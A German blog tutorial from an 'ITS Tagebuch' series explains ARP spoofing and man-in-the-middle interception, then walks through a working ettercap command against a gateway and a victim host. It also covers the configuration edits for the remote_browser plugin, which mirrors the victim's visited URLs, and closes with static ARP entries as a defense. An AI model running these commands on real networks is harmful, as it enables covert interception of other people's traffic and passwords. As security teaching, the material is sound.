ITS Tagebuch – Tag 6 – ARP Spoofing mit ettercap

Dieser Artikel wird sich mit dem ARP-Spoofing beschäftigen.
Wir lernen heute, wie man Traffic per Man-In-The-Middle Attacke gezielt mitsniffen kann.
Der Hauptgrund, warum jemand ARP-Spoofing (auch: ARP Poisoning oder ARP-Cache Poisoning)
betreibt – außer vielleicht zu Analysezwecken – ist, um sensible Daten zu erspähen oder bestimmte
Inhalte einzuschleusen. Es ist so ziemlich alles möglich vom Session-Hijacking über Zensur bis hin zum
ausspionieren von Passwörtern und Installation von Malware. Wir sehen also, dass ARP-Spoofing
ein Hohes Risiko für Clients in einem Netzwerk ist.

Abschnitt 1: Theorie

ARP-Spoofing ist logisch sehr einfach zu verstehen und schon gut dokumentiert. Ich kann diesen Artikel aus dem TechNet empfehlen. Er ist ausführlicher als dieser Artikel hier.
(Siehe auch ITS Tagebuch – Tag 1 und warum ich keine Technische Dokumentation schreibe.)
Also los:
Zunächst sollten sich viele davon verabschieden, dass ausschließlich die IP als Zieladresse einer
Maschine im Netz dient. Im Ethernet werden alle Teilnehmer über ihre MAC-Adresse (Medium
Access Control – Adresse) identifiziert. Hierbei haben IP und MAC eine Ähnliche Beziehung wie DNS
und IP. Kommunizieren 2 Maschinen über Ethernet miteinander, kennt Maschine1 (vielleicht über
DNS aufgelöst) nur die IP-Adresse von Maschine2. Sie braucht aber die MAC von Maschine2, also
wird folgendes getan: Die erste Anlaufstelle ist der lokale ARP-Cache. Kannte Maschine1 zu einem
früheren Zeitpunkt die MAC von Maschine2, wurde diese als IP-MAC Wertepaar im ARP-Cache
abgelegt. Wie lange diese Einträge gültig sind, bestimmt das Betriebssystem.
Ist dort kein Eintrag für die IP vorhanden, wird ein Broadcast gesandt:
„Who has IP 192.168.178.1 tell 192.168.178.2“
Hier will 192.168.178.2 also erfahren, welche MAC-Adresse 192.168.178.1 hat.
Normalerweise antwortet nun 192.168.178.1 mit etwa:
„192.168.178.1 is at AA:AA:AA:AA:AA:AA”
So weiß 192.168.178.2, dass das Zielsystem unter AA:AA:AA:AA:AA:AA erreichbar ist.

Diese Kommunikation (MAC-Adressauflösung) basiert auf dem ARP – Address Resolution Protocol.
Ein Client im Netz sendet einen Broadcast mit der Frage, wer (welche MAC) hat IP XYZ? als Broadcast.
Dies ist der ARP-Request.
Besitzt ein Client die IP XYZ, antwortet er „IP XYZ gehört MAC ABC“ – dies ist eine ARP-Response.
Der Client, der den Request gestellt hat, speichert diese Zuweisung nun (normalerweise) in seinem
ARP-Cache.
Eine große Schwachstelle, genau genommen nicht im Protokoll, sondern im System, ist, dass
viele Systeme einfach alle ARP-Responses annehmen, ohne überhaupt einen ARP-Request
gestartet zu haben.
Ein Dritter hat hierdurch leichtes Spiel: Er sendet einfach eine ARP-Response an ein Opfer, welches
ihm mitteilt „IP XYZ gehört MAC CC:CC:CC:CC:CC:CC“. Das Opfer speichert die Zuweisung im Cache,
das nächste Mal, wenn es auf IP XYZ zugreifen will (und die Zuweisung noch im Cache ist), sendet das
Opfer seine Daten direkt an den Dritten (einen Angreifer?).
Wir nähern uns einer „Man in the Middle“ Attacke. Wie der Name verrät, steht der Angreifer in der
Mitte zweier kommunizierender Systeme. Stellt sich ein Angreifer zwischen Gateway und Clients,
kann er alles mitlesen, was zwischen Gateway und Client gesandt wird – Im Normalfall also den
gesamten Internet-Traffic. Der „Man in the Middle“ muss nur:

  • Den Traffic der Clients zu sich lenken
  • Den Traffic des Gateways zu sich lenken
  • Den Traffic der Clients an das Gateway weiterleiten
  • Den Traffic des Gateways an die Clients weiterleiten

Somit kann man schon „passiv“ alles mitlesen, was unverschlüsselt ist.
Jedoch kann der MITM auch etwas zwischen „Traffic zu sich lenken“ und „Traffic weiterreichen“ machen.
Der Traffic kann manipuliert werden, Pakete können fallen gelassen („gedroppt“) werden, wir können
falsche Antworten schicken, Inhalte ändern, Passwörter auslesen….
Ruft ein Client eine SSL geschützte Webseite auf, können wir dies im Normalfall natürlich nicht
mitlesen – Die Verbindung ist ja verschlüsselt. Aber wir können genauso gut folgendes tun:
Client A will Webseite X aufrufen. Wir leiten dies weiter, Webseite X antwortet mit der Initialisierung
der SSL-Verschlüsselung (das Zertifikat wird an uns gesendet). Wir nehmen dieses Zertifikat an und
können nun Traffic von der Webseite lesen. Den Traffic zwischen uns und dem Client verschlüsseln
wir einfach mit einem eigenen Zertifikat. Normalerweise erwartet ein Nutzer, dass bestimmte Seiten
verschlüsselt sind, also können wir sie nicht einfach unverschlüsselt an ihn senden.
Ein Problem gibt es jedoch: Die Zertifikate, die der Webserver an uns sendet, sind normalerweise
Signiert und eingetragen in Listen. Der Browser des Clients abonniert bestimmte listen und weiß so,
welche Zertifikate vertrauenswürdig sind, und welche nicht. Bieten wir dem Client nun unser eigenes
Zertifikat an, schlägt der Browser meistens Alarm, da er unser Zertifikat nicht anerkennt.
Hier gibt es schon einmal Tipp Nr. 1: Vorsichtig und misstrauisch sein – Webseiten mit falschen
Zertifikaten sofort verlassen.

Wir kennen nun den ganzen Ablauf, vom ARP-Request bis hin zum Mitlesen und Manipulieren von
Daten. Hierzu gibt es eine Vielzahl an Werkzeugen, die dies ermöglichen. Wir nutzen in unser ITS
Tagebuch-Reihe BackTrack5 R2, hier ist schon ein solches Tool installiert:
ettercap
Ettercap übernimmt das Senden der ARP-Responses (das Poisoning), Annehmen und Weiterleiten
der Daten von bestimmten Hosts (z.B. Clients im Netzwerk) zu anderen Hosts (z.B. das Gateway).
Ebenfalls bietet ettercap eine Vielzahl an Möglichkeiten, die Daten zu analysieren und zu ändern.

Schritt 2: Die Praxis

Wir gehen nun in die Praxis über, starten also unser BackTrack Linux und verbinden uns mit einem
Netzwerk – beispielsweise dem von uns Gehackten TacticalCode WLAN mit WPA2 Verschlüsselung.
Da Cipher und Schlüssel für jeden im Netzwerk gleich sind, wir sind im Besitz von beiden, Spielt es
keine Rolle mehr, dass das WLAN verschlüsselt ist – wir können es mit dem Key entschlüsseln.
Also können wir sofort ettercap starten. Wir werden zunächst nur Traffic mitsniffen, also starten wir
zuerst Wireshark und starten eine Aufnahme (Capture) über das entsprechende Interface.
ettercap hat eigentlich auch ein GUI, jedoch funktioniert es bei mir nicht richtig, die Text-ausgabe
genügt uns auch vollkommen. Wir wissen aus vorherigem Artikel schon die IP des Gateways:
192.168.178.1, ein mögliches Opfer hat die IP 192.168.178.2. Wir teilen also 192.168.178.1 mit, dass
WIR die IP 192.168.178.2 haben und umgekehrt. Ettercap nutzt 2 Hostlisten um zu wissen, von wem
Traffic an wen gesandt wird, diese müssen wir beim Start definieren:

ettercap -TqM arp:remote -i wlan0 /192.168.178.1/ /192.168.178.2/
  • -T: Textmodus
  • -q: Quiet
  • -M arp:remote: Modus: ARP-Remote
  • -i wlan0: Interface wlan0 nutzen
  • /192.168.178.1/: Hostliste 1
  • /192.168.178.2/: Hostliste 2

Ettercap startet nun, infiziert die beiden Hostlisten, und wir können gesendeten Traffic in Wireshark
mitlesen. Ettercap besitzt einige Plugins, interessant ist z.B. das Plugin remote_browser.
Mit diesem Plugin werden uns (fast) alle Webseiten angezeigt, die unser Opfer aufruft. Es wird
allerdings nicht 1:1 wie beim Opfer angezeigt, das Plugin fischt nur die URLs von Requests aus dem
Traffic und öffnet diese URLs bei uns. Interessant ist es aber garantiert, daher zeige ich noch, wie man
das Plugin mit Firefox zum Laufen bekommt. Zuerst beenden wir ettercap, indem wir im Hauptmenü
q“ drücken. Danach wird konfiguriert:

nano /usr/local/etc/etter.conf

folgendes:

[privs]
ec_uid = 65534
ec_gid = 65534
#UND
remote_browser = "Mozilla -remote openurl(http://%host%url)"

wird ersetzt mit:

ec_uid = 0
ec_gid = 0
#UND
remote_browser = "firefox -remote openurl(http://%host%url)"

Wichtig: BackTrack 5 R2 hat mehrere etter.conf Dateien, nur die unter „/usr/local/etc“ wird beachtet!
Wir starten Firefox und ettercap:

root@bt:~# firefox
root@bt:~# ettercap -TqM arp:remote -i wlan0 /192.168.178.1/ /192.168.178.2/

ettercap 0.7.4.1 copyright 2001-2011 ALoR & NaGA

Listening on wlan0… (Ethernet)

wlan0 -> CC:CC:CC:CC:CC:CC 192.168.178.3 255.255.255.0

SSL dissection needs a valid ‚redir_command_on‘ script in the etter.conf file
Privileges dropped to UID 0 GID 0…

28 plugins
40 protocol dissectors
55 ports monitored
7587 mac vendor fingerprint
1766 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)…

* |==================================================>| 100.00 %

2 hosts added to the hosts list…

ARP poisoning victims:

GROUP 1 : 192.168.178.1 AA:AA:AA:AA:AA:AA

GROUP 2 : 192.168.178.2 BB:BB:BB:BB:BB:BB
Starting Unified sniffing…

Text only Interface activated…
Hit ‚h‘ for inline help

Und laden das Plugin (das Plugin-Menü öffnet sich durch den Tastendruck „P„):

Available plugins :

[0] arp_cop 1.1 Report suspicious ARP activity
[0] autoadd 1.2 Automatically add new victims in the target range
[0] chk_poison 1.1 Check if the poisoning had success
[0] dns_spoof 1.1 Sends spoofed dns replies
[0] dos_attack 1.0 Run a d.o.s. attack against an IP address
[0] dummy 3.0 A plugin template (for developers)
[0] find_conn 1.0 Search connections on a switched LAN
[0] find_ettercap 2.0 Try to find ettercap activity
[0] find_ip 1.0 Search an unused IP address in the subnet
[0] finger 1.6 Fingerprint a remote host
[0] finger_submit 1.0 Submit a fingerprint to ettercap’s website
[0] gre_relay 1.0 Tunnel broker for redirected GRE tunnels
[0] gw_discover 1.0 Try to find the LAN gateway
[0] isolate 1.0 Isolate an host from the lan
[0] link_type 1.0 Check the link type (hub/switch)
[0] pptp_chapms1 1.0 PPTP: Forces chapms-v1 from chapms-v2
[0] pptp_clear 1.0 PPTP: Tries to force cleartext tunnel
[0] pptp_pap 1.0 PPTP: Forces PAP authentication
[0] pptp_reneg 1.0 PPTP: Forces tunnel re-negotiation
[0] rand_flood 1.0 Flood the LAN with random MAC addresses
[0] remote_browser 1.2 Sends visited URLs to the browser
[0] reply_arp 1.0 Simple arp responder
[0] repoison_arp 1.0 Repoison after broadcast ARP
[0] scan_poisoner 1.0 Actively search other poisoners
[0] search_promisc 1.2 Search promisc NICs in the LAN
[0] smb_clear 1.0 Tries to force SMB cleartext auth
[0] smb_down 1.0 Tries to force SMB to not use NTLM2 key auth
[0] stp_mangler 1.0 Become root of a switches spanning tree

Plugin name (0 to quit): remote_browser
Activating remote_browser plugin…

REMOTE COMMAND: firefox -remote openurl(http://tacticalcode.blogspot.de/)

Nun gehen wir mit unserem Opfersystem auf eine Webseite und sehen, dass sich diese Webseite
auch bei uns, auf dem System mit ettercap öffnet. (Manchmal werden mehrere Tabs
geöffnet, das liegt an iframes und zusätzlichen HTTP Requests auf den Zielseiten).

Schritt 3: Problemlösung

Wie begnügen uns heute mit dem eher passiven mitsniffen von Traffic. Schließlich fehlt noch eine
Problemlösung: Wie schütze ich mich vor ARP Spoofing?
ARP Spoofing wird durch 2 Schwachstellen möglich:

  1. Annahme jeglicher ARP-Antworten von allen Systemen im Netz
  2. Caching der MAC-Adressen

Wo das Caching aus Performancegründen noch gut nachvollziehbar ist – vor JEDER Verbindung einen
Broadcast starten wäre etwas ineffizient – Ist die ungefilterte Annahme von ARP-Requests ein hohes
und vor allem vermeidbares Risiko. Unter Windows kann man sich vor ARP-Spoofing schützen, indem
man entweder durch Firewalls wie Outpost Firewall (nicht getestet) ungültige ARP-Antworten blockiert,
oder aber statische Einträge in den ARP-Cache für wichtige Knotenpunkte (Gateway, AccessPoints, etc.)
tätigt. Man öffnet die Kommandozeile und mit

arp –s 192.168.178.1 AA:AA:AA:AA:AA:AA

fügt man dem ARP-Cache einen statischen Eintrag hinzu. Dieser bleibt permanent im Cache, bis die
Maschine neu gestartet wird. Die MAC-Adresse des Gateways ändert sich glücklicherweise nur beim
Hardwarewechsel, daher kann man den Befehl in eine .bat Datei schreiben und diese beim
Systemstart ausführen lassen. Somit kann die Maschine nicht mit falschen ARP-Cache Einträgen
infiziert werden, die Kommunikation von PC zu Gateway ist gesichert.
Unter Linux kann man Software wie ARPON verwenden, um sich zu schützen. Alternativ können
natürlich auch hier statische Einträge in den Cache getätigt werden.

nano /etc/rc.local
arp –s 192.168.178.1 AA:AA:AA:AA:AA:AA

Dies fügt automatisch bei jedem Reboot den Eintrag statisch in den ARP-Cache ein.

Das war nun unser (vorerst) vorletzter Eintrag ins ITS Tagebuch. Im Nächsten Artikel zeige ich die
erweiterte Bedienung von ettercap mit Filtern – wir werden also aktiv und manipulieren Traffic.
Bis dahin, Ich hoffe der Artikel hat euch gefallen. Wie immer bei Fragen/Anregungen/Ideen/Kritik:
Ab in die Kommentare.
MfG
Damon

Dieser Eintrag wurde veröffentlicht in ITS Tagebuch, Security
Bookmarken: Permanent-Link Schreibe einen Kommentar oder hinterlasse einen Trackback: Trackback-URL.

Ein Trackback

  • […] Buchstaben können nicht errechnet werden. MITM: Simple Sniff Wie bereits kennen gelernt, wird per ARP-Cache Poisoning der Traffic eines Opfers über das Handy geleitet (Pakete werden nicht direkt angezeigt) MITM: […]

Achtung: Wordpress interpretiert bestimmte Zeichenfolgen als Markup und verändert diese. Nutzt für Programmcode lieber Gist oder PasteBin-Services und verlinkt die Code-Schnipsel.

Post a Comment

Ihre E-Mail wird niemals veröffentlicht oder verteilt. Benötigte Felder sind mit * markiert

*
*

Du kannst diese HTML Tags und Attribute verwenden: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>